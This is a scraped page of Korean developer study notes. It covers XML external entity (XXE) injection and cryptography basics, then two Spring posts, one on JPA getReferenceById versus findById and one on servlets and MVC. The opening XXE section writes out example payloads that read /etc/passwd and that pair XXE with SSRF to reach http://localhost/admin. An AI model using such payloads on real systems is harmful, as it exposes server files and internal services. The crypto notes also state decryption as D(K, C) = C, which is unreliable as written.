encoding="UTF-8"?> 2<!DOCTYPE message [<!ENTITY greeting "Hello, ">]> 3<message> 4 <text>&greeting;world!</text> 5</message> Access internal file XML 엔티티를 이용하여, 서버의 파일을 읽어오는 공격 1<?xml version="1.0" encoding="UTF-8"?> 2<!DOCTYPE foo[<!ENTITY xxe SYSTEM "file:///etc/passwd">]> 3<stockCheck><productId>&xxe;</productId></stockCheck> With SSRF SSRF와 결합하여, 외부 서버로 요청을 보내는 공격 1<!DOCTYPE foo[<!ENTITY xxe SYSTEM "http://localhost/admin">]> 암호기술 전통적인 암호기술 암호의 정의 암호를 사용하는 목적 기밀성 (Confidentiality) : 정보가 노출되지 않아야함 자료의 무결성 (Data Integrity) : 데이터가 위변조되면 안됨 인증 (Authentication) : 정보의 출처가 정당해야함 부인방지 (Non-repudiation) : 사용자가 이를 거부하지 않아야함 암호 알고리즘의 기본 조건 (K : Key, M : Message, C : Cipher Text) 암호화 : E(K, M) = C 복호화 : D(K, C) = C E(K, M)과 D(K, C)의 계산은 쉬워야 함 K를 모를때 C에서 M을 계산하는 것은 어려워야 함 암호 해독 방법 Cipher Text Only Attack : 암호문만을 이용하여 평문을 찾는 공격 Known Plain Text Attack : 암호문과 평문을 이용하여 키를 찾는 공격 Chosen Plain Text Attack : 평문을 선택하여 암호문을 찾는 공격 암호의 종류 대칭키(비밀키)(관용키) 암호 암호화와 복호화에 같은 키를 사용하는 암호 사용자 n명에 따라 필요한 키의 개수 : n(n-1)/2 암호 알고리즘의 종류 블록 암호 (DES, IDEA, AES) 평문을 블록으로 나누어 암호화하는 방식 스트림 암호 (RC4) 평문과 키를 비트 단위로 XOR하여 암호화하는 방식 한국에서 쓰는 알고리즘 종류 : NEAT, SEED, NES, ARIA 공개키(비대칭키) 암호 암호화와 복호화에 다른 키를 사용하는 암호 사용자 n명에 따라 필요한 키의 개수 : 2n 기밀성 (Confidentiality) : 공개키로 암호화, 개인키로 복호화 인증 (Authentication) : 개인키로 암호화, 공개키로 복호화 키 생성 DH 키 교환 암호기술의 활용 디지털 서명 특성 : 위조불가, 변경 불가, 서명자 인증, 재사용 불가, 부인 방지 동형암호와 양자암호 기술

Spring - JPA : getReferenceById vs findById

🍃 Spring

배경 Service layer에서 createPost 메소드를 구현하는 중 이었다 Post entity는 User entity와 ManyToOne 관계이다 User entity를 가져오는 방식에 따라 두가지 방식의 구현이 가능했다 두 방식의 장단점을 파악해보았다 getReferenceById 사용 1public Post createPost(PostDTO.Request postDTO, int userId) { 2 // 프록시 객체를 가져온다 3 User user = userRepository.getReferenceById(userId); 4 5 Post post = Post.builder() 6 .title(postDTO.getTitle()) 7 .content(postDTO.getContent()) 8 .created_at(LocalDateTime.now().truncatedTo(ChronoUnit.MILLIS)) 9 .author(user) 10 .build(); 11 12 try { 13 return postRepository.save(post); 14 } catch (DataIntegrityViolationException e) { 15 throw new EntityNotFoundException("해당 유저가 없습니다."); 16 } 17} 장점 : 쿼리 한번으로 Post entity를 생성할 수 있다 단점 : insert 쿼리 실행 중 발생한 예외를 잡기 때문에 안정적이지 않다 findById 사용 1public Post createPost(PostDTO.Request postDTO, int userId) { 2 // 실제 객체를 가져온다 3 Optional<User> user = userRepository.findById(userId); 4 5 if (user.isEmpty()) 6 throw new EntityNotFoundException("해당 유저가 없습니다."); 7 8 Post post = Post.builder() 9 .title(postDTO.getTitle()) 10 .content(postDTO.getContent()) 11 .created_at(LocalDateTime.now().truncatedTo(ChronoUnit.MILLIS)) 12 .author(user.get()) 13 .build(); 14 15 return postRepository.save(post); 16} 장점: insert 쿼리 실행 전에 미리 예외를 처리하기 때문에 안정적이다 단점: 쿼리 두번으로 인한 성능 저하가 발생한다 결론 쿼리를 두 번 날리더라도 findById 메소드를 사용하는 것이 안정적이라서 유지보수하기 좋을 것 같다

Spring 개념 - MVC 패턴, Servlet (서블릿)

🍃 Spring

Servlet 개념 클라이언트의 요청을 처리하고, 그 결과를 반환하는 자바 웹 프로그래밍 기술 웹페이지를 동적으로 생성하는 역할을 수행한다 Servlet Conainer의 역할 Servlet의 생명주기를 관리한다 웹서버와의 통신지원 멀티쓰레드 지원, 관리 선언적인 보안 관리 예제 - Servlet 구현 1public class TestServlet extends HttpServlet { 2 private static final Logger logger = LoggerFactory.getLogger(TestServlet.class); 3 4 @Override 5 public void init() throws ServletException {} 6} doGet, doPost 등의 메소드를 구현해서 http 요청을 처리할 수 있다 Servlet Context를 등록하는 방법 web.xml 작성 web.xml web application의 설정을 위한 deployment descriptor (배포 지정자) 가장 기본적인 방법이다 src/webapp/WEB-INF/web.xml에 위치한다 1<?xml version="1.0" encoding="UTF-8"?> 2<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" 3 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 4 xsi:schemaLocation="http://java.sun.com/xml/ns/javaee 5 http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> 6 <servlet> 7 <servlet-name>myServlet</servlet-name> 8 <servlet-class>org.academy.abc.servlet.MyServlet</servlet-class> 9 </servlet> 10 <servlet-mapping> 11 <servlet-name>myServlet</servlet-name> 12 <url-pattern>/*</url-pattern> 13 </servlet-mapping> 14</web-app> @WebServet 사용 Servlet을 선언하면서 사용한다 1@WebServlet(value="/*", loadOnStartup = 1) 2public class TestServlet extends HttpServlet {...} WebApplicationInitializer 구현 1public class OrderWebApplicationInitializer implements WebApplicationInitializer { 2 @Override 3 public void onStartup(ServletContext servletContext) throws ServletException { 4 var servletRegistration = servletContext.addServlet("test", new TestServlet()); 5 servletRegistration.addMapping("/*"); 6 servletRegistration.setLoadOnStartup(1); 7 } 8} DispatcherServlet HTTP요청을 중앙집중식으로 처리하는 프론트 컨트롤러이다 MVC 패턴 DispatcherServlet이 Handler mapping을 통해 Handler를 찾는다 Handler adapter가 DispatcherServlet과 handler 사이의 중간다리 역할을 수행한다 Controller는 business logic을 처리하고 model과 view name을 반환한다 Dispatcher servlet은 model을 view로 넘겨서 view 결과를 클라이언트에게 반환한다